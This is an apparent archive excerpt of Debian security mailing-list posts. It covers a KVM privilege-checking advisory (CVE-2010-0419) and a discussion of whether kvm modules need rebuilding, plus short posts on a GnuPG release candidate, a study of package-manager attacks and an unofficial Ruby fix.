 CVE-2010-0419
 
 Paolo Bonzini found a bug in KVM that can be used to bypass proper
 permission checking while loading segment selectors. This
 potentially allows privileged guest users to execute privileged
 instructions on the host system.
 
 For the stable distribution (lenny), this problem has been fixed in
 version 72+dfsg-5~lenny5.
 
 For the testing distribution (squeeze), and the unstable distribution (sid),
 these problems will be addressed within the linux-2.6 package.
 
 We recommend that you upgrade your kvm package.
 
 Upgrade instructions
 
 
 wget url
 will fetch the file for you
 dpkg -i file.deb
 will install the referenced file.
 
 If you are using the apt-get package manager, use the line for
 sources.list as given below:
 
 apt-get update
 will update the internal database
 apt-get upgrade
 will install corrected packages
 
 You may use an automated update by adding the resources from the
 footer to the proper configuration.

It's not clear to me from the instructions above whether users should
re-build their kvm modules package as well as installing the revised
versions.

Is the vulnerability fully-resolved by simply upgrading the kvm package?
(i really don't know, and figure y'all are the right folks to ask).  I
note that there are kvm modules shipped with the default stable kernel.

If more steps are needed, maybe we need additional DSA boilerplate for
these kind of announcements in the future.

Thanks for all the work you do to keep debian in good shape.  it's very
much appreciated!

--dkg



signature.asc
Description: OpenPGP digital signature

Re: [SECURITY] [DSA-2010-1] New kvm packages fix several vulnerabilities

[Daniel Kahn Gillmor]

On 03/10/2010 02:49 PM, dann frazier wrote:
 On Wed, Mar 10, 2010 at 02:18:38PM -0500, Daniel Kahn Gillmor wrote:
 It's not clear to me from the instructions above whether users should
 re-build their kvm modules package as well as installing the revised
 versions.

 Is the vulnerability fully-resolved by simply upgrading the kvm package?
 (i really don't know, and figure y'all are the right folks to ask). 
 
 If you've never built/installed modules from the kvm-source package,
 this advisory does not apply to you. If you have - you will need to
 update your kernel-source package and rebuild/reload those modules.

So i have a lenny system, running 2.6.26-2-amd64.  When it was running
2.6.26-1-amd64, i built and installed modules from the kvm_source. but
when i upgraded to 2.6.26-2-amd64, i didn't bother to build new modules,
and just went with the kvm modules shipped in the stock
linux-image-2.6.26-2-amd64 package.

A literal reading of your response above makes me think i need to do
rebuild for that system, but if i'm actually understanding you, it
sounds like i *don't* need to do a module rebuild.  argh.

sorry if this line of questioning is annoying or frustrating.  i'm not
trying to be obnoxious or pedantic, i'm trying to make sure i actually
understand the issue.

 I note that there are kvm modules shipped with the default stable
 kernel.
 
 Yes, these issues are being tracked there as well (3/4 are already
 fixed in the latest stable update)

Nice, thanks for the info.  So would the 4th be fixed if i went ahead
and rebuilt from the kvm_source package referenced by DSA-2010-1?

Regards,

--dkg



signature.asc
Description: OpenPGP digital signature

[Fwd: Re: [SECURITY] [DSA-2010-1] New kvm packages fix several vulnerabilities]

[Daniel Kahn Gillmor]

sorry, this proposed boilerplate change was meant to go to the list, not
just to dann.

Thanks for all your work, folks.

--dkg
---BeginMessage---
On 03/10/2010 04:53 PM, dann frazier wrote:
 On Wed, Mar 10, 2010 at 04:09:48PM -0500, Daniel Kahn Gillmor wrote:
 So would the 4th be fixed if i went ahead
 and rebuilt from the kvm_source package referenced by DSA-2010-1?
 
 Yes.

Thank you for your prompt explanations, and for your patience, dann.  I
think i understand the situation now.

Here is proposed boilerplate for future notices like this about kvm:

Where it used to say:

 We recommend that you upgrade your kvm package.

It could say:

 We recommend that you upgrade your kvm package.  If your system is
 currently using a kvm-modules package built from previous versions of
 the kvm-source package, we recommend that you upgrade your kvm-source
 package, re-build a new kvm-modules package and install it.  You should
 subsequently unload the old kvm modules from your kernel and reload the
 newly built kernel modules.  The simplest way to accomplish this kernel
 module unload/reload is a system restart.

Feel free to edit it as you see fit, of course.

Regards,

--dkg



signature.asc
Description: OpenPGP digital signature
---End Message---


signature.asc
Description: OpenPGP digital signature

Re: GnuPG 1.4.10 RC1 available from Debian Experimental

[Daniel Leidert]

Forwarding to debian-devel too.

 Hi,
 
 The recent release candidate 1 for GnuPG 1.4.10 has been packaged and 
 uploaded 
 to Debian's experimental distribution, in order to facilitate testing. If 
 you wish, please try it out and of course report bugs found. All cautions 
 around release candidates and the experimental distribution of course apply.
 
 See: http://packages.debian.org/experimental/gnupg

With this (pre-)release, almost all patches applied to the Debian
package have been integrated upstream and a *lot* of bugs and issues
have been fixed (closing 25 Debian/Ubuntu bug reports). This release
further comes with hkps support (HKP over SSL) [1,2]. So please help
testing [3] the upcoming GnuPG 1.4.10 release and send us an report, if
you observe issues.

[1] http://lists.gnupg.org/pipermail/gnupg-devel/2009-August/025289.html
[2] http://bugs.debian.org/519333
[3] https://bugs.g10code.com/gnupg/issue931 (for example)

Regards, Daniel


-- 
To UNSUBSCRIBE, email to debian-security-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org

Study: Attacks on package managers (inclusing apt)

[Daniel Leidert]

Hi all,

Today there were some news about a study from the University of Arizona
regarding security issues with package management systems (like apt). I
did not yet read the whole study, but probably it's interesting for the
project (they write about vulnerabilities). The study is here:

http://www.cs.arizona.edu/people/justin/packagemanagersecurity/attacks-on-package-managers.html

and some ongoing discussion here:

http://lwn.net/Articles/289883/

(maybe some of you are already involved in the discussion there).

I'm sorry, if this has already been brought up. I did not find a posting
regarding this study, so I hereby start this thread).

Regards, Daniel


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]

Unofficial fix for the Ruby vulnerabilities announced yesterday

[Daniel Franke]

Since the security team hasn't released a fix or an advisory yet for
the Ruby vulnerabilites discovered yesterday, I've rolled my own as a
stopgap.  See http://dfranke.us/rubyfix.txt

-- 
 Daniel Franke [EMAIL PROTECTED] http://www.dfranke.us
 || =|\ 
 || * | -|-\-   Man is free at the instant he wants to be. 
 -| =|  \   /// --Voltaire


pgpPwmYrAe6nt.pgp
Description: PGP signature